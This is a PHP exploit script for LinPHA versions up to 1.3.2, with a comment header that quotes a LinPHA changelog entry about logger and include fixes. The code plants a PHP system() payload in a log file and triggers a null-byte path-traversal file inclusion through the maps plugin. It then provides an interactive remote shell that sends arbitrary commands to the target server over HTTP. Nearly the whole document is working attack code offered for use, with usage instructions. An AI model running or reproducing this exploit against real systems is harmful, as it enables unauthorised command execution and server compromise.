400. * tagged LinPHA linpha_1_1_0 :-) 401. 402. 2006-02-18 flo 403. * fixed linpha vulnerability found on secunia.com 404. + docs/index.php and install/* 405. include($lang) fixed 406. + plugins/log/logger.class.php 407. use htmlspecialchars() before write logger events to database or to text file 408. for example: 409. User : login failed! <== oops! ;) 410. will be replaced by: 411. User <?php echo system($_GET['cwd']); ?>: login failed! */ error_reporting(0); set_time_limit(0); ini_set("default_socket_timeout", 5); function http_send($host, $packet) { $sock = fsockopen($host, 80); while (!$sock) { print "\n[-] No response from ".$host.":80 Trying again..."; $sock = fsockopen($host, 80); } fputs($sock, $packet); while (!feof($sock)) $resp .= fread($sock, 1024); fclose($sock); return $resp; } print "\n+------------------------------------------------------------------------+"; print "\n| LinPHA <= 1.3.2 (maps plugin) Remote Command Execution Exploit by EgiX |"; print "\n| - bug (LFI) found by rgod |"; print "\n+------------------------------------------------------------------------+\n"; if ($argc < 3) { print "\nUsage...: php $argv[0] host path\n"; print "\nhost....: target server (ip/hostname)"; print "\npath....: path to Linpha directory\n"; die(); } $host = $argv[1]; $path = $argv[2]; $payload = "job=settings&maps_type=%2E%2E/%2E%2E/ChangeLog%00"; $packet = "POST {$path}plugins/maps/db_handler.php HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Content-Type: application/x-www-form-urlencoded\r\n"; $packet .= "Content-Length: ".strlen($payload)."\r\n"; $packet .= "Connection: close\r\n\r\n"; $packet .= $payload; http_send($host, $packet); define(STDIN, fopen("php://stdin", "r")); while(1) { print "\nlinpha-shell# "; $cmd = trim(fgets(STDIN)); if ($cmd != "exit") { $packet = "GET {$path}maps_view.php?cwd=".urlencode($cmd)." HTTP/1.0\r\n"; $packet.= "Host: {$host}\r\n"; $packet.= "Connection: close\r\n\r\n"; $resp = http_send($host, $packet); if (!ereg("ChangeLog", $resp)) die("\n[-] Exploit failed...probably magic_quotes_gpc = on\n"); preg_match("/User (.*): login failed!\n /s", $resp, $shell); print "\n{$shell[1]}\n"; } else break; } ?>